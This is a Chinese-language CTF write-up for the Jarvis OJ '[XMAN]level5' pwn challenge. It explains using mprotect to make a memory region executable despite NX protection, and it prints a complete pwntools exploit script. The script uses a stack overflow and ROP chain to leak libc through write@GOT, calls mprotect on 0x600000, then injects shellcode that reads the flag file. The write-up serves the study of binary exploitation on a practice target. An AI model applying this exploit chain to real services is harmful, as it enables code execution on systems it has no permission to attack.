[XMAN]level5
时间:2021-07-17
本文章向大家介绍[XMAN]level5,主要包括[XMAN]level5使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
nc pwn2.jarvisoj.com 9884
附件同level3_x64
mmap可以将文件或其他对象映射到内存中,mprotect可以改变某段地址的权限(rwx)
程序开启了NX保护,因此可以考虑用mprotect将一段bss段或data段设置成rwx权限然后写入shellcode并执行
exp如下:
from pwn import * #io = process('./level3_x64') io = remote('pwn2.jarvisoj.com', 9884) elf = ELF('./level3_x64') #libc = elf.libc libc = ELF('./libc-2.19.so') context.arch = 'amd64' context.os = 'linux' #context.log_level = 'debug' pop_rdi = 0x4006b3 pop_rsi_r15 = 0x4006b1 write_plt = 0x4004B0 write_got = 0x600A58 read_plt = 0x4004C0 vuln_addr = 0x4005E6 payload = b'a' * 136 + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) payload += p64(0) + p64(write_plt) + p64(vuln_addr) io.recvuntil('Input:\n') io.send(payload) write_addr = u64(io.recv(8)) info("write_addr:" + str(hex(write_addr))) libc_base = write_addr - libc.symbols['write'] info("libc_base:" + str(hex(libc_base))) pop_rsi = 0x24885 + libc_base info("pop_rsi:" + str(hex(pop_rsi))) pop_rdx = 0x286 + libc_base info("pop_rdx:" + str(hex(pop_rdx))) mprotect_addr = libc_base + libc.symbols['mprotect'] info("mprotect_addr:" + str(hex(mprotect_addr))) payload = b'a' * 136 + p64(pop_rdi) + p64(0x600000) + p64(pop_rsi) + p64(0x1000) payload += p64(pop_rdx) + p64(7) + p64(mprotect_addr) + p64(vuln_addr) io.recvuntil('Input:\n') io.send(payload) shellcode = shellcraft.open('./flag') shellcode += shellcraft.read(3, 0x600500, 0x100) shellcode += shellcraft.write(1, 0x600500, 0x100) shellcode = asm(shellcode) payload = b'a' * 136 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x600000) payload += p64(pop_rdx) + p64(len(shellcode)) + p64(read_plt) + p64(0x600000) io.recvuntil('Input:\n') io.send(payload) sleep(0.5) io.send(shellcode) io.interactive()
原文地址:https://www.cnblogs.com/hktk1643/p/15024448.html
- 隐含层权重参数的初始化方式的对比实验
- BZOJ4868: [Shoi2017]期末考试
- namespace用法
- 全站缓存时代
- 洛谷P1962 斐波那契数列(矩阵快速幂)
- 负载均衡https转发会让服务器误判
- 凯撒加密之一个神奇的Python的API
- 10分钟搞懂TensorBoard用法
- 【最新TensorFlow1.4.0教程02】利用Eager Execution 自定义操作和梯度 (可在 GPU 运行)
- 清北集训Day1T3 LYK loves jumping(期望DP)
- C#进阶系列——WebApi 接口参数不再困惑:传参详解上
- MySQL之多表查询
- 万能pb_ds头文件—bits/extc++.h
- 区块链开发之Go语言—文件系统
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法